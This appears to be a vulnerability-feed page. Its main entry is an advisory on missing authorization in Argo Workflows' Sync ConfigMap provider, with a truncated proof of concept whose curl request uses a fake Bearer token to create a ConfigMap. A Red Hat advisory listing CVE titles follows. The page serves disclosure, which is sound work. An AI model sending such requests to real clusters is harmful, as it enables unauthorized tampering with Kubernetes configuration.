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EUVD-2026-337241

2026-10-02T12:51:09.660546+00:00

EUVD-2026-337241

fkie_cve-2026-42297

2026-10-02T12:51:09.660623+00:00

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

GHSA-xchc-cqwg-g76q — Argo has Missing Authorization in its Sync ConfigMap Provider

2026-10-02T12:51:09.660664+00:00

Affected: Go: github.com/argoproj/argo-workflows/v4

### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:

```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } ``` - `server/sync/sync_cm.go` — lines 23-155 - All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`

### PoC ### Prerequisites

- Argo Server running with `--auth-mode=server` - Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`

### Step 1: Create Sync Limit (Fake Token)

```bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}' ```

**Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}`

Verify ConfigMap was created in Kubernetes:…

RHSA-2026:73987 — Red Hat Security Advisory: RHOAI 3.3.7 - Red Hat OpenShift AI

2026-10-02T12:51:09.660724+00:00

golang: net/url: Memory exhaustion in query parameter parsing in net/url urllib3: urllib3 Streaming API improperly handles highly compressed data nltk: NLTK: Arbitrary Code Execution via Eval Injection in Collocations Module undici: Undici: HTTP Request Smuggling and Denial of Service due to duplicate Content-Length headers undici: undici: Denial of Service via unbounded memory consumption during WebSocket permessage-deflate decompression undici: undici: Denial of Service via crafted WebSocket frame with large length undici: Undici: Denial of Service via invalid WebSocket permessage-deflate extension parameter jupyter-server: jupyter-server: Sensitive data exposure via path traversal vulnerability fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies undici: undici: Information disclosure and data integrity issues due to incorrect Socks5ProxyAgent connection routing undici: undici: Man-in-the-Middle attack via ignored TLS options with SOCKS5 proxy keras: Keras: Arbitrary file write via path traversal in archive extraction utilities sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5 undici: undici: Denial of Service due to unbounded memory growth via WebSocket frames brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity guardrails-detectors: guardrails-detectors: Unauthenticated Regular-Expression…